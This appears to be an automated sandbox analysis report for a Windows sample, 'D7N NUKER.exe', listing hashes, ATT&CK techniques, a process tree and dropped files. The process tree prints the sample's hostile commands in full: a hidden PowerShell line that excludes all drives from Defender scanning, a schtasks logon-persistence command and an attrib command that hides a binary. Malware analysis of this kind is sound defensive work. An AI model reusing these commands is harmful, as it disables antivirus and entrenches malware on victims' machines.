aa05b7a6cc8edf4c486e5710088a70d8112831096e74ab662f4b823bd02f3c6d

Analysis

max time kernel
149s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/11/2026, 23:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
D7N NUKER.exe
Size 24.7MB
Sample261110-2zed3sdx61
SHA256 aa05b7a6cc8edf4c486e5710088a70d8112831096e74ab662f4b823bd02f3c6d
MD5 e4fed9558a4065e3a9aab16048bce4d8
SHA1 7ae7e00ea89cc5e2a94df666b9d00404c6d79ad0
SHA512 1ca96f8d2b7e8e76262ac7655c96b59babdd2b30e4c8f6c666fb6b31c4e9a34f49caa75547595a94fae25a1a7b04e873f07600e5d5b9131841f76b20f40fa98b
SSDEEP 786432:BGVKu/KD7h+tkWA0+zWgxFDjNXxKK8FMYTF:BGQD7ik10+ztkKYMY
TLSH
T16A473343A0CE34EDE1B66C70D79AC1D32F75C4236858BEC4189C7A7A46E6F49D1E9238
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5776	powershell.exe
5776	powershell.exe

Executes dropped EXE 6 IoCs

pid	Process
6116	Nvidia Overlay.exe
4740	ThermalServiceRuntime.exe
2136	ThermalServiceRuntime.exe
1180	ThermalServiceRuntime.exe
1568	d7n.exe
2056	d7n.exe

Loads dropped DLL 3 IoCs

pid	Process
2056	d7n.exe
2056	d7n.exe
2056	d7n.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
4564	cmd.exe

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
4564	cmd.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3420	cmd.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4564	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2000	cmd.exe
256	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ThermalServiceRuntime.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ThermalServiceRuntime.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	d7n.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	d7n.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	d7n.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	d7n.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	d7n.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	d7n.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4432	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5776	powershell.exe
5776	powershell.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeDebugPrivilege	5776	powershell.exe
Token: SeIncreaseQuotaPrivilege	5776	powershell.exe
Token: SeSecurityPrivilege	5776	powershell.exe
Token: SeTakeOwnershipPrivilege	5776	powershell.exe
Token: SeLoadDriverPrivilege	5776	powershell.exe
Token: SeSystemProfilePrivilege	5776	powershell.exe
Token: SeSystemtimePrivilege	5776	powershell.exe
Token: SeProfSingleProcessPrivilege	5776	powershell.exe
Token: SeIncBasePriorityPrivilege	5776	powershell.exe
Token: SeCreatePagefilePrivilege	5776	powershell.exe
Token: SeBackupPrivilege	5776	powershell.exe
Token: SeRestorePrivilege	5776	powershell.exe
Token: SeShutdownPrivilege	5776	powershell.exe
Token: SeDebugPrivilege	5776	powershell.exe
Token: SeSystemEnvironmentPrivilege	5776	powershell.exe
Token: SeRemoteShutdownPrivilege	5776	powershell.exe
Token: SeUndockPrivilege	5776	powershell.exe
Token: SeManageVolumePrivilege	5776	powershell.exe
Token: 33	5776	powershell.exe
Token: 34	5776	powershell.exe
Token: 35	5776	powershell.exe
Token: 36	5776	powershell.exe
Token: SeIncreaseQuotaPrivilege	5776	powershell.exe
Token: SeSecurityPrivilege	5776	powershell.exe
Token: SeTakeOwnershipPrivilege	5776	powershell.exe
Token: SeLoadDriverPrivilege	5776	powershell.exe
Token: SeSystemProfilePrivilege	5776	powershell.exe
Token: SeSystemtimePrivilege	5776	powershell.exe
Token: SeProfSingleProcessPrivilege	5776	powershell.exe
Token: SeIncBasePriorityPrivilege	5776	powershell.exe
Token: SeCreatePagefilePrivilege	5776	powershell.exe
Token: SeBackupPrivilege	5776	powershell.exe
Token: SeRestorePrivilege	5776	powershell.exe
Token: SeShutdownPrivilege	5776	powershell.exe
Token: SeDebugPrivilege	5776	powershell.exe
Token: SeSystemEnvironmentPrivilege	5776	powershell.exe
Token: SeRemoteShutdownPrivilege	5776	powershell.exe
Token: SeUndockPrivilege	5776	powershell.exe
Token: SeManageVolumePrivilege	5776	powershell.exe
Token: 33	5776	powershell.exe
Token: 34	5776	powershell.exe
Token: 35	5776	powershell.exe
Token: 36	5776	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 6120 wrote to memory of 6116	6120	D7N NUKER.exe	90
PID 6116 wrote to memory of 4740	6116	Nvidia Overlay.exe	91
PID 4740 wrote to memory of 2136	4740	ThermalServiceRuntime.exe	92
PID 4740 wrote to memory of 2000	4740	ThermalServiceRuntime.exe	93
PID 2000 wrote to memory of 1384	2000	cmd.exe	95
PID 4740 wrote to memory of 4564	4740	ThermalServiceRuntime.exe	96
PID 4564 wrote to memory of 4212	4564	cmd.exe	98
PID 4564 wrote to memory of 5776	4564	cmd.exe	99
PID 4740 wrote to memory of 256	4740	ThermalServiceRuntime.exe	101
PID 256 wrote to memory of 1464	256	cmd.exe	103
PID 256 wrote to memory of 4432	256	cmd.exe	104
PID 4740 wrote to memory of 3420	4740	ThermalServiceRuntime.exe	105
PID 3420 wrote to memory of 2004	3420	cmd.exe	107
PID 3420 wrote to memory of 5368	3420	cmd.exe	108
PID 6120 wrote to memory of 1568	6120	D7N NUKER.exe	111
PID 1568 wrote to memory of 2056	1568	d7n.exe	113

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5368	attrib.exe

C:\Users\Admin\AppData\Local\Temp\D7N NUKER.exe
"C:\Users\Admin\AppData\Local\Temp\D7N NUKER.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:6120
- C:\Users\Admin\AppData\Local\Temp\Nvidia Overlay.exe
  "C:\Users\Admin\AppData\Local\Temp\Nvidia Overlay.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:6116
- - C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\ThermalServiceRuntime.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\ThermalServiceRuntime.exe" --r
    3⤵
    - Executes dropped EXE
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of WriteProcessMemory
    PID:4740
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\ThermalServiceRuntime.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\ThermalServiceRuntime.exe" --wd 4740
      4⤵
      Executes dropped EXE
      PID:2136
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c chcp 65001 >nul && 4Ìùq‰¸³ò¬Ö‰)ÈÚh_m Êð(Àò¢“àì·Ìh¾¶p/X-æ^ìã»DÊì)ªDËU*%ž’ß#=ß)„_þ_Ó‡btÝ¹µöe5ÔÔ»GH7æ¯³< L@Ù/8!l`¤#J• –ê1÷cfjm^šžÞL3°ÿZM’ËŸscÞ£*÷—Z•G¢™3µæ¨‰•ýL»‡f"‰ÑCw·pH¯^êÈ[?&Êv îA@Hwê·Af¦gr¡ç+ü/žä?AJ?‹ÛwS¹Tz–˜Á/EhÜã.¢™Å™rP”ëäÇª#š©õ ’õµÃ@ÛìÏp¥¡“þÌçÄQr8Fm :;-eMÇ«ÅÙ£?žéÒØPZá{à.“øSÌjÀUÙ
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2000
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:1384
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
      4⤵
      Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
      Hide Artifacts: Hidden Window
      Hide Artifacts: Ignore Process Interrupts
      Suspicious use of WriteProcessMemory
      PID:4564
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:4212
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "[Console]::OutputEncoding=[Text.Encoding]::UTF8;Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5776
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c chcp 65001 >nul && schtasks /create /f /sc onlogon /tn "ThermalServiceRuntime" /tr "\"C:\Users\Admin\AppData\Roaming\ThermalServiceRuntime.exe\"" /ru ""
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:256
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:1464
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /tn "ThermalServiceRuntime" /tr "\"C:\Users\Admin\AppData\Roaming\ThermalServiceRuntime.exe\"" /ru ""
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4432
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c chcp 65001 >nul && attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\ThermalServiceRuntime.exe"
      4⤵
      Hide Artifacts: Hidden Files and Directories
      Suspicious use of WriteProcessMemory
      PID:3420
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:2004
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Credentials\ThermalServiceRuntime.exe"
        5⤵
        Views/modifies file attributes
        
        PID:5368
- C:\Users\Admin\AppData\Local\Temp\d7n.exe
  "C:\Users\Admin\AppData\Local\Temp\d7n.exe"
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1568
- - C:\Users\Admin\AppData\Local\Temp\d7n.exe
    C:\Users\Admin\AppData\Local\Temp\d7n.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2056

C:\Users\Admin\AppData\Roaming\ThermalServiceRuntime.exe
"C:\Users\Admin\AppData\Roaming\ThermalServiceRuntime.exe"
1⤵
- Executes dropped EXE
PID:1180

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Files and Directories

T1564.001

Hidden Window

T1564.003

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Nvidia Overlay.exe

Path C:\Users\Admin\AppData\Local\Temp\Nvidia Overlay.exe
Size 618KB
SHA256 64c02d622214e78d9f8a750438ae113214c2d8ae07302aa0ed2f86f315de2f73
MD5 bb2d973139ec2a254d86b9a7b4d2bb9a
SHA1 4b2348e2ef6b3af0d66c2c30e24f821661755060
SHA512 2f6ed085afbdfe8323995a7ecb0ddef9157a1338b64d5715d007e82254665f0a58d4c9653087addb1755c9fc70840162cc3b611d4965ec3479dfe96b671e9348
SSDEEP 6144:FHFmHM9gzTECGVXt1sAKwHFS40OOvr4L3JZKu0CsbnQV/i5RuUSrZ2P:iHmg6t1qYK5CenQV/i5RQw
TLSH
T1F8D4298AF653A17CD52BC1758BAB6633B932B90C41357E7F4B1487797EA1E000638F26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_ggboyoza.pt5.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ggboyoza.pt5.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_1568_134388252687947472\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

md.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_1568_134388252687947472\charset_normalizer\md.pyd
Size 10KB
SHA256 14d5840ea79b7690e50ae6b182c1b7605e02a6a8b8e34a3f9e09dbfb59468bd2
MD5 9a0d497b5f31561ac473e1a89b7fbc45
SHA1 3c22050195d9327255c6dd55da4d0838c891ddfd
SHA512 c9caedd14f0c0f7515100735f4f1e55941ec94f105884c05e011bbeca077faef7527be41bef0c7c4a962c16a09fea3e7a5932e1bbc5904824c5a7a716d9bf59f
SSDEEP 192:4xGrmoX+sMl/++Ch9p8tBdivuEgeA0JH6:4x4m446WDyuYAe
TLSH
T17C22195CFEA458EAD8558138C5374E4AB132FB22170273CF9370A12A2FA37E6A534781
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

python313.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_1568_134388252687947472\python313.dll
Size 5.8MB
SHA256 41ec4fc4e5bc8b207258590238f7f050b13fdfee84c4a7b1ecff6e945d031a10
MD5 cfbfd5ca1d563466687e53a638eed93c
SHA1 63bffe9d62dcc870b1601ae7a04b042df88fa219
SHA512 0eb973271a12ff17dc443ee3289695bb2134d66120690d067b3f67b4b52a5ac2831f326fe85635ef43799b43574e4e1809e20db6ae1d32b5e5f4711cfa12df36
SSDEEP 98304:efqPAKrV+hOhkH0pwgJYt5FO8vUHDMiEJV0KL:DPAC+hOhZaic0A
TLSH
T11F568D12729D50ACD97B8078CA178A4BF7B27C113F60434B61E6BB5D2FB33624A6E705
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1180-40-0x00007FF7CA460000-0x00007FF7CA517000-memory.dmp

Download

memory/2136-125-0x00007FF62E830000-0x00007FF62E8E7000-memory.dmp

Download

memory/4740-124-0x00007FF62E830000-0x00007FF62E8E7000-memory.dmp

Download

memory/4740-144-0x00007FF62E830000-0x00007FF62E8E7000-memory.dmp

Download

memory/4740-138-0x00007FF62E830000-0x00007FF62E8E7000-memory.dmp

Download

memory/4740-132-0x00007FF62E830000-0x00007FF62E8E7000-memory.dmp

Download

memory/4740-128-0x00007FF62E830000-0x00007FF62E8E7000-memory.dmp

Download

memory/4740-126-0x00007FF62E830000-0x00007FF62E8E7000-memory.dmp

Download

memory/5776-27-0x000001C4EAB60000-0x000001C4EAB6A000-memory.dmp

Download

memory/5776-20-0x000001C4EA540000-0x000001C4EA562000-memory.dmp

Download

memory/5776-26-0x000001C4EAE00000-0x000001C4EAEB2000-memory.dmp

Download

memory/5776-25-0x000001C4EAB40000-0x000001C4EAB5E000-memory.dmp

Download

memory/6116-19-0x00007FF6EDA60000-0x00007FF6EDB17000-memory.dmp

Download

memory/6120-3-0x00007FFE3C720000-0x00007FFE3D0C4000-memory.dmp

Download

memory/6120-2-0x0000000000550000-0x0000000001E16000-memory.dmp

Download

memory/6120-1-0x00007FFE3C720000-0x00007FFE3D0C4000-memory.dmp

Download

memory/6120-43-0x00007FFE3C720000-0x00007FFE3D0C4000-memory.dmp

Download

memory/6120-0-0x00007FFE3C8AF000-0x00007FFE3C8B0000-memory.dmp

Download

memory/6120-5-0x00007FFE3C720000-0x00007FFE3D0C4000-memory.dmp

Download